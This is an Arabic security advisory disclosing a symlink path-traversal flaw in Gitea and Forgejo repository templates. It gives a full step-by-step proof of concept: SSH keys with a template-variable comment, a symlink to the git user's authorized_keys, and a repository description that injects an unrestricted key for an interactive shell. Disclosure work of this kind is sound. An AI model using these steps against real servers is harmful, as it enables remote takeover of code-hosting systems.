
تجاوز المسار في معالجة قوالب المستودعات في Gitea و Forgejo يسمح للمهاجمين المصادق عليهم عن بُعد بمعالجة ملفات عشوائية على نظام الملفات، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
هذا العمل مرخص بموجب رخصة المشاع الإبداعي نسب المصنف - المشاركة على قدم المساواة 4.0 الدولية.
أثناء فحص الكود المصدري لـ Forgejo و Gitea لفهم كيفية عمل القوالب بشكل أفضل، اكتشفت ثغرة تسمح لمستخدم مصادق عليه بإنشاء مستودع قالب ضار يمكن استخدامه لمعالجة ملفات عشوائية على نظام الملفات.
عند إنشاء مستودع بناءً على محتوى Git للقالب الضار، سيتمكن القالب من توسيع ملفات عشوائية على نظام الملفات.
من خلال معرفة مسار الدليل الرئيسي لمستخدم git (والذي يكون افتراضيًا
/data/git في صورة docker الرسمية)، يمكن للمهاجم توسيع ملف
.ssh/authorized_keys الخاص بمستخدم git لحقن مفتاح بدون معامل
command، والذي يمكن استخدامه لتنفيذ أوامر عشوائية أو قشرة تفاعلية.
الإصدارات المتأثرة: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
المكون المتأثر: مستودعات القوالب
السبب الجذري: إلغاء مرجع الرابط الرمزي عند قراءة وكتابة محتويات ملفات القالب
المهاجم يقوم بالمصادقة كمستخدم شرعي
المهاجم ينشئ مستودع قالب ضار يحتوي على رابط رمزي لملف
.ssh/authorized_keys الخاص بمستخدم git المُخمن وملف
.forgejo/template يشير إلى الرابط الرمزي
المهاجم يضيف مفتاح ssh عام إلى حسابه بتعليق مخصص ينتهي بـ
${REPO_DESCRIPTION}
المهاجم ينشئ مستودعًا يشير إلى مستودع القالب الضار مع تمكين قالب محتوى Git ووصف يحتوي على سطر جديد يتبعه مفتاح ssh عام آخر
تقوم قوالب Gitea/Forgejo بقراءة وقولبة الرابط الرمزي authorized_keys،
مما يؤدي إلى توسيع تعليق المفتاح العام المُعيّن سابقًا إلى إدخال عشوائي
يتوافق مع وصف مستودع المهاجم، بدون معامل command
يقوم المهاجم بتسجيل الدخول بشكل تفاعلي كمستخدم git باستخدام المفتاح المحقون
من الممكن أيضًا للمهاجم إفساد ملف التكوين أو قاعدة بيانات SQLite أو التسبب في رفض الخدمة عن طريق قراءة ملفات ضخمة.
قم بتثبيت وتكوين إصدار ضعيف من Gitea/Forgejo
قم بتسجيل أو إنشاء حساب للمهاجم باستخدام حساب المسؤول
تسجيل الدخول باستخدام حساب المهاجم
قم بإنشاء مفتاحي SSH مختلفين: واحد لـ Git وآخر لـ SSH التفاعلي
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub كمفتاح ssh مخول باستخدام واجهة Gitea/Forgejoيجب أن يكون تعليق المفتاح موجودًا ويبدو هكذا:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
ملف .ssh/authorized_keys لمستخدم git يبدو الآن هكذا:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
أنشئ مستودع قالب ضار باستخدام واجهة Gitea/Forgejo
استنسخ مستودع القالب وأضف الرابط الرمزي الضار وتكوين القالب
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubيجب أن يبدو وصف المستودع هكذا:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
كلمة replaced في السطر الأول غير مطلوبة، ولكن يجب التأكد من بقاء السطر
الجديد بغض النظر. تعليق attacker@machine في نهاية السطر اختياري أيضًا.
ملف .ssh/authorized_keys الناتج لمستخدم git سيبدو هكذا:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh وعميل sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222